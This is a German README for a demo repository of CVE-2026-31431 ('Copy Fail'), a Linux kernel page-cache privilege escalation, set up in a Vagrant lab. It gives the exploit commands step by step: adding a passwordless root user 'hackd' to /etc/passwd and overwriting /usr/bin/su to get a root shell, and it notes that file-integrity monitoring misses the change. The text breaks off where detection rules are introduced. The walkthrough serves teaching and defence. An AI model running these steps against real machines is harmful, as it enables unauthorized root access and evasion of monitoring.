
Eine Demo und Erklärung von CVE-2026-31431
Eine Demonstration und Erklärung von CVE-2026-31431, der Linux-Kernel Copy Fail Local Privilege Escalation-Schwachstelle. Die Schwachstelle ermöglicht es, dass bei Dateien, die mit Leserecht geöffnet wurden, Daten im Page-Cache überschrieben werden.
Dieses Repository dient ausschließlich Bildungszwecken und veranschaulicht die Schwachstelle in einer kontrollierten Umgebung. Die enthaltenen Dateien sind:
├── exploit
│ ├── copy_fail.py # Benutzerdefinierter Exploit, der auf jede Datei mit Leserechten abzielen kann
│ ├── original_payload.txt # Eine Kopie des im Original-Exploit verwendeten Payloads
│ ├── copy_fail_original.py # Original-Exploit, der /usr/bin/su überschreibt
│ └── copy_fail_readable.py # Original-Exploit in einem besser lesbaren Format mit einer Erklärung des Payloads
├── README.md
└── Vagrantfile # Einrichtung für die Vagrant-VM mit Ubuntu 22.04
Die Schwachstelle mit dem Namen Copy Fail ist in Linux-Kerneln von 2017 bis 2026 aufgrund eines Logikfehlers in algif_aead vorhanden. Ihr wurde CVE-2026-31431 mit einem CVSS-Score von 7.8 zugewiesen, was zu einer Einstufung als hohes Risiko führt. Der Exploit ist deterministisch und kann traditionelle Dateiintegritätsüberwachungswerkzeuge umgehen.
Proof of Concepts wurden in verschiedenen Sprachen veröffentlicht, darunter C, Python und Go, aber für diese Demonstration wird Python verwendet und erfordert Python Version 3.10 oder höher. Dieser Exploit erfordert lokale Codeausführung als unterprivilegierter Benutzer und kann zur lokalen Privilegieneskalation verwendet werden.
Die folgenden Abschnitte sind:
Stellen Sie sicher, dass Vagrant und QEMU installiert sind. Klonen Sie dann dieses Repository und navigieren Sie zum Projektverzeichnis.
vagrant up
vagrant ssh
Innerhalb der VM können wir die Grenzen unserer Möglichkeiten testen.
id # uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
su # Wir werden nach dem Root-Passwort gefragt, das wir nicht haben
stat /usr/bin/su # Wir haben Lese- und Ausführungsrechte
stat /etc/passwd # Wir haben Leserecht
stat /etc/shadow # Wir haben keine Rechte
Wir sind offensichtlich in unseren Möglichkeiten eingeschränkt, aber wir können die Schwachstelle nutzen, um Privilegien zu eskalieren.
Um die Schwachstelle zu verstehen, überschreiben wir eine Dummy-Datei und sehen, was passiert.
echo -e "ABCDE\nF\nG" > dummy.txt
cat dummy.txt
Wir haben eine Datei mit drei Zeilen. Die erste Zeile hat 6 Bytes (einschließlich Zeilenumbruch), die zweite Zeile hat 2 Bytes und die dritte Zeile ist ein einzelnes Byte. Dies ist wichtig, weil der Exploit Daten in Blöcken von 4 Bytes überschreibt und wir den Payload auffüllen, um ihn zu vervollständigen.
python3 exploit/copy_fail.py --target dummy.txt --payload "123456"
cat dummy.txt
Wir können sehen, dass wir die ersten 8 Bytes der Datei durch unseren Payload ersetzt haben. Es gibt zwei Zeichen, die vorhanden sind, aber nicht druckbar sind. Öffnen Sie die Datei in nano, um dies zu überprüfen.
Aber das ist nicht allzu aufregend, also fahren wir fort und schreiben in Dateien, für die wir keine Schreibrechte haben.
Wir können den Inhalt von /etc/passwd überschreiben, um einen Benutzer mit Root-Privilegien, aber ohne Passwort hinzuzufügen.
cat /etc/passwd
Die erste Zeile enthält den Root-Benutzer und besteht aus 8 Gruppen von 4 Zeichen (einschließlich des Zeilenumbruchs). Sie ist wie folgt formatiert: root:x:0:0:root:/root:/bin/bash, und die Werte beziehen sich auf Benutzername, Passwort, UID, GID, Home-Verzeichnis, Shell.
python3 exploit/copy_fail.py --target /etc/passwd --payload "hackd::0:0:root:/root:/bin/bash
"
cat /etc/passwd
Wir haben einen neuen Benutzer hackd mit UID 0 und GID 0 hinzugefügt, was bedeutet, dass er Root-Privilegien hat. Das Passwortfeld ist leer, sodass wir uns ohne Passwort anmelden können.
su hackd
id
cat /etc/shadow
Im Original-Exploit wird die Binärdatei /usr/bin/su mit Anweisungen zum Ausführen einer Shell überschrieben, wodurch der Angreifer Root-Privilegien erlangt, wenn er su ausführt. Wir können diesen Exploit nachbilden, indem wir mit dem Original-Payload aus einer Datei auf /usr/bin/su abzielen.
Beachten Sie, dass dies die su-Binärdatei in diesem Page-Cache zerstört.
python3 exploit/copy_fail.py --target /usr/bin/su --payload-file exploit/original_payload.txt
Mit dem platzierten Payload können wir su ausführen und Root-Privilegien erlangen. Dies öffnet eine Shell mit Benutzer-ID 0, was normalerweise der Root-Benutzer ist, aber wenn die obige Demo durchgeführt wurde, wäre es der von uns erstellte Benutzer hackd. Dieser Exploit würde eine Shell öffnen, selbst wenn der root-Benutzer ein Passwort hat.
su
id
Dieser Exploit modifiziert nicht die Datei auf der Festplatte, sondern den Page-Cache-Zustand. Infolgedessen erkennen traditionelle Dateiintegritätsüberwachungswerkzeuge, die auf Änderungen an Dateien auf der Festplatte prüfen, diesen Exploit nicht.
Um dies zu demonstrieren, führen Sie den/die obigen Exploit(s) aus und überprüfen Sie nach einem Neustart der VM den Inhalt der Zieldatei.
vagrant halt
vagrant up
vagrant ssh
cat /etc/passwd # Die Datei ist auf der Festplatte unverändert
Erkennungsregeln werden in Community-GitHub-Repos geteilt, die versuchen, Netzwerkindikatoren oder bekannte Skriptmuster zu erkennen. Diese Erkennungsregeln basieren auf öffentlichen PoC-Artefakten, bekannten Payloads, Codefragmenten und URLs.
Zum Beispiel würde das Folgende bestimmte PoC-bezogene Codefragmente oder kodierte Payloads erkennen: